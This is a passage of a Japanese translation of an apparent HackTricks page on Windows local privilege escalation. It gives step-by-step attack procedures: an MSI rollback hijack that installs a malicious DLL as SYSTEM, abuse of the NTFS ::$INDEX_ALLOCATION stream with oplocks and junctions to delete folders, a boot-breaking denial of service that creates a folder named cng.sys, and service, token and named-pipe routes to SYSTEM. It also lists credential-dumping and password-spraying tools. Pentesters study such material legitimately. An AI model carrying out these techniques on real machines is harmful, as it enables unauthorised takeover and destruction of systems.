攻撃は基本的に、Windows Installer の rollback 機胜を悪甚しお、アンむンストヌル䞭に正圓なファむルを悪意あるファむルに眮き換えるこずにありたす。これには、攻撃者が C:\Config.Msi フォルダをハむゞャックするための 悪意のある MSI むンストヌラヌ を䜜成する必芁があり、埌に Windows Installer が他の MSI パッケヌゞのアンむンストヌル䞭に rollback ファむルを保存する際に、これらの rollback ファむルが悪意あるペむロヌドを含むように倉曎されたす。

芁玄するず、手順は次のずおりです。

  1. Stage 1 – Hijack の準備C:\Config.Msi を空にしおおく
  • Step 1: Install the MSI

  • 曞き蟌み可胜なフォルダTARGETDIRに無害なファむル䟋: dummy.txtをむンストヌルする .msi を䜜成したす。

  • むンストヌラヌを “UAC Compliant” にマヌクし、非管理者ナヌザヌ が実行できるようにしたす。

  • むンストヌル埌にファむルぞの handle を開いたたたにしたす。

  • Step 2: Begin Uninstall

  • 同じ .msi をアンむンストヌルしたす。

  • アンむンストヌル凊理はファむルを C:\Config.Msi に移動し、.rbf ファむルにリネヌムしお rollback バックアップを䜜成したす。

  • ファむルが C:\Config.Msi\<random>.rbf になったこずを怜出するために、GetFinalPathNameByHandle を䜿っお開いおいるファむルハンドルをポヌリングしたす。

  • Step 3: Custom Syncing

  • .msi には次のような カスタムアンむンストヌルアクションSyncOnRbfWritten が含たれたす:

  • .rbf が曞き蟌たれたずきにシグナルを送る。

  • その埌、アンむンストヌルを続行する前に別のむベントを埅機したす。

  • Step 4: Block Deletion of .rbf

  • シグナルを受けたら、FILE_SHARE_DELETE なしで .rbf ファむルを開く — これによりそのファむルの削陀を防止したす。

  • その埌、アンむンストヌルを完了させるために シグナルを戻す。

  • Windows Installer は .rbf を削陀できず、すべおの内容を削陀できないため、C:\Config.Msi は削陀されたせん。

  • Step 5: Manually Delete .rbf

  • 攻撃者は .rbf ファむルを手動で削陀したす。

  • これで C:\Config.Msi は空 になり、ハむゞャックできる状態になりたす。

この時点で、SYSTEM レベルの任意フォルダ削陀脆匱性をトリガヌしお C:\Config.Msi を削陀しおください。

  1. Stage 2 – Rollback スクリプトを悪意あるものに眮き換える
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • 自分で C:\Config.Msi フォルダを再䜜成したす。

  • 匱い DACL䟋: Everyone:Fを蚭定し、WRITE_DAC を持぀ handle を開いたたたにしたす。

  • Step 7: Run Another Install

  • 再床 .msi をむンストヌルしたす。蚭定は次のずおり:

  • TARGETDIR: 曞き蟌み可胜な堎所。

  • ERROROUT: 匷制倱敗を匕き起こす倉数。

  • このむンストヌルは再床 rollback をトリガヌするために䜿甚され、.rbs ず .rbf を読み蟌みたす。

  • Step 8: Monitor for .rbs

  • ReadDirectoryChangesW を䜿っお C:\Config.Msi を監芖し、新しい .rbs が珟れるたで埅ちたす。

  • そのファむル名を取埗したす。

  • Step 9: Sync Before Rollback

  • .msi には カスタムむンストヌルアクションSyncBeforeRollback が含たれおおり:

  • .rbs が䜜成されたずきにむベントをシグナルしたす。

  • その埌、続行する前に埅機したす。

  • Step 10: Reapply Weak ACL

  • .rbs created むベントを受け取った埌:

  • Windows Installer は C:\Config.Msi に匷い ACL を再適甚したす。

  • しかし、あなたはただ WRITE_DAC を持぀ハンドルを持っおいるため、再び匱い ACL を再適甚できたす。

ACL はハンドルを開いたずきにのみ適甚されるため、フォルダに曞き蟌みが可胜なたたです。

  • Step 11: Drop Fake .rbs and .rbf

  • .rbs ファむルを䞊曞きしお、Windows に次を指瀺する停の rollback スクリプトを配眮したす:

  • あなたの .rbf悪意のある DLLを 特暩のある堎所䟋: C:\Program Files\Common Files\microsoft shared\ink\HID.DLLに埩元するよう指瀺する。

  • 悪意ある SYSTEM レベルのペむロヌド DLL を含む停の .rbf を配眮したす。

  • Step 12: Trigger the Rollback

  • 同期むベントをシグナルしおむンストヌラヌを再開させたす。

  • 既知のポむントでむンストヌルを意図的に倱敗させるように構成された type 19 カスタムアクションErrorOut により、むンストヌルが倱敗したす。

  • これが rollback の開始 を匕き起こしたす。

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer はあなたの悪意ある .rbs を読み、

  • タヌゲット堎所にあなたの .rbf DLL をコピヌしたす。

  • これで SYSTEM にロヌドされるパスに悪意ある DLL を配眮したこずになりたす。

  • Final Step: Execute SYSTEM Code

  • 信頌された auto-elevated バむナリ䟋: osk.exeを実行しお、ハむゞャックした DLL を読み蟌たせたす。

  • 成功あなたのコヌドが SYSTEM ずしお実行されたす。

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

䞻芁な MSI rollback 手法前述のものは、C:\Config.Msi のようなフォルダ党䜓を削陀できるこずを前提ずしおいたす。しかし、脆匱性が 任意のファむル削陀のみを蚱す 堎合はどうでしょうか

NTFS の内郚を悪甚するこずができたすすべおのフォルダには隠しの代替デヌタストリヌムalternate data streamが存圚したす

C:\SomeFolder::$INDEX_ALLOCATION

このストリヌムはフォルダのindex metadataを栌玍したす。

したがっお、フォルダの**::$INDEX_ALLOCATION ストリヌムを削陀するず**、NTFSはファむルシステムからフォルダ党䜓を削陀したす。

これは、次のような暙準的なファむル削陀APIを䜿甚しお行うこずができたす:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

たずえ file delete API を呌び出しおいおも、フォルダ自䜓が削陀されたす。

フォルダ内容の削陀からSYSTEM EoPぞ

primitive が任意のファむル/フォルダを削陀できないが、攻撃者が制埡するフォルダのcontentsを削陀できるずしたら

  1. Step 1: ベむトフォルダずファむルをセットアップ
  • 䜜成: C:\temp\folder1
  • その䞭に: C:\temp\folder1\file1.txt
  1. Step 2: file1.txt に oplock を配眮
  • 特暩プロセスが file1.txt を削陀しようずするず、oplock は実行を䞀時停止したす。
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. ステップ 3: Trigger SYSTEM process (e.g., SilentCleanup)
  • このプロセスはフォルダ䟋: %TEMP%をスキャンし、それらの内容を削陀しようずしたす。
  • file1.txt に到達するず、oplock triggers が発生し、コントロヌルがあなたの callback に枡されたす。
  1. ステップ 4: Inside the oplock callback – redirect the deletion
  • オプション A: Move file1.txt elsewhere

  • これにより folder1 は空になりたすが、oplock を壊したせん。

  • file1.txt を盎接削陀しないでください — それは oplock を早期に解陀しおしたいたす。

  • オプション B: Convert folder1 into a junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • オプション C: \RPC Control に symlink を䜜成する:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

これはフォルダのメタデヌタを栌玍するNTFSの内郚ストリヌムを狙っおいたす — それを削陀するずフォルダ自䜓が削陀されたす。

  1. ステップ 5: oplock を解攟する
  • SYSTEM プロセスは凊理を続行し、file1.txt を削陀しようずしたす。
  • しかし、junction + symlink のため、実際に削陀されおいるのは次のものです:
C:\Config.Msi::$INDEX_ALLOCATION

結果: C:\Config.Msi は SYSTEM によっお削陀される。

任意のフォルダ䜜成から氞続的なDoSぞ

プリミティブを悪甚しお、SYSTEM/admin ずしお任意のフォルダを䜜成できたす — たずえ ファむルを曞き蟌めない たたは 匱い暩限を蚭定できない 堎合でも。

䟋えば、フォルダファむルではなくを critical Windows driver の名前で䜜成したす。䟋

C:\Windows\System32\cng.sys
  • このパスは通垞 cng.sys カヌネルモヌドドラむバに察応したす。
  • もし事前にフォルダずしお䜜成しおおくず、Windows は起動時に実際のドラむバを読み蟌めなくなりたす。
  • その埌、Windows は起動時に cng.sys を読み蟌もうずしたす。
  • フォルダを怜出し、実際のドラむバを解決できず、クラッシュたたは起動が停止したす。
  • 倖郚からの介入䟋: ブヌト修埩やディスクアクセスなしには、フォヌルバックはなく、埩旧手段はありたせん。

From High Integrity to System

New service

もし既に High Integrity プロセスで実行しおいる堎合、path to SYSTEM は単に creating and executing a new service するだけで容易になりたす:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

サヌビス甚バむナリを䜜成する際は、それが正圓なサヌビスであるこず、たたは正圓なサヌビスでない堎合は20秒で終了されるため必芁な凊理を速やかに実行するこずを確認しおください。

AlwaysInstallElevated

High Integrity process から、AlwaysInstallElevated レゞストリ ゚ントリを有効化し、.msi ラッパヌを䜿っおリバヌスシェルをむンストヌルするこずができたす。
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

参照できたす find the code here.

From SeDebug + SeImpersonate to Full Token privileges

もしこれらのトヌクン暩限を持っおいればおそらく既に High Integrity process 内で芋぀かるでしょう、SeDebug 暩限でほずんどのプロセスprotected processes は陀くを開き、プロセスのトヌクンをコピヌしお、そのトヌクンで任意のプロセスを䜜成できたす。
通垞この手法では、すべおのトヌクン暩限を持぀ SYSTEM で動䜜しおいるプロセスを遞びたすはい、すべおのトヌクン暩限を持たない SYSTEM プロセスも存圚したす。
䟋は example of code executing the proposed technique hereで確認できたす。

Named Pipes

この手法は meterpreter が getsystem を行う際に䜿甚したす。手法は、パむプを䜜成し、そのパむプに曞き蟌むサヌビスを䜜成悪甚するこずです。するず、SeImpersonate 暩限を䜿っおパむプを䜜成したサヌバヌは、パむプクラむアントサヌビスのトヌクンをむンパヌ゜ネヌトしお SYSTEM 暩限を取埗できたす。
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

もし SYSTEM ずしお動䜜するプロセスによっおロヌドされる DLL を hijack できれば、その暩限で任意のコヌドを実行できたす。したがっお Dll Hijacking は暩限昇栌に有甚であり、さらに High Integrity process からは DLL をロヌドするフォルダに察する曞き蟌み暩限があるため達成がより容易です。
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Windows のロヌカル暩限昇栌ベクトルを探すためのベストツヌル: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – 蚭定ミスや機密ファむルをチェックしたすcheck here。怜出枈み。
JAWS – いく぀かの蚭定ミスをチェックしお情報を収集したすcheck here。
privesc – 蚭定ミスをチェックしたす
SessionGopher – PuTTY、WinSCP、SuperPuTTY、FileZilla、RDP の保存セッション情報を抜出したす。ロヌカルで -Thorough を䜿甚しおください。
Invoke-WCMDump – Credential Manager から資栌情報を抜出したす。怜出枈み。
DomainPasswordSpray – 収集したパスワヌドをドメむンに察しおスプレヌしたす
Inveigh – PowerShell ベヌスの ADIDNS/LLMNR/mDNS/NBNS スプヌファヌ兌䞭間者ツヌルです。
WindowsEnum – 基本的な Windows 暩限昇栌の列挙
Sherlock ~~~~ – 既知の暩限昇栌脆匱性を怜玢したすWatson により非掚奚
WINspect – ロヌカルチェック (管理暩限が必芁)

Exe

Watson – 既知の暩限昇栌脆匱性を怜玢したすVisualStudio でのコンパむルが必芁precompiled
SeatBelt – ホストを列挙しお蚭定ミスを探したすprivesc ずいうより情報収集ツヌルコンパむルが必芁precompiled
LaZagne – 倚数の゜フトから資栌情報を抜出したすGitHub にプリコンパむル枈みの exe
SharpUP – PowerUp の C# 移怍
Beroot ~~~~ – 蚭定ミスをチェックしたすGitHub に実行ファむルあり。掚奚したせん。Win10 でうたく動䜜したせん。
Windows-Privesc-Check – 蚭定ミスのチェックPython からの exe。掚奚したせん。Win10 でうたく動䜜したせん。

Bat

winPEASbat – この蚘事を元に䜜成されたツヌルaccesschk がなくおも動䜜したすが、䜿甚可胜です。

Local

Windows-Exploit-Suggester – systeminfo の出力を読み取り、動䜜する゚クスプロむトを掚奚したすロヌカル Python
Windows Exploit Suggester Next Generation – systeminfo の出力を読み取り、動䜜する゚クスプロむトを掚奚したすロヌカル Python

Meterpreter

multi/recon/local_exploit_suggestor

プロゞェクトは正しいバヌゞョンの .NET を䜿甚しおコンパむルする必芁がありたすsee this。被害者ホストにむンストヌルされおいる .NET のバヌゞョンを確認するには次を実行できたす:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする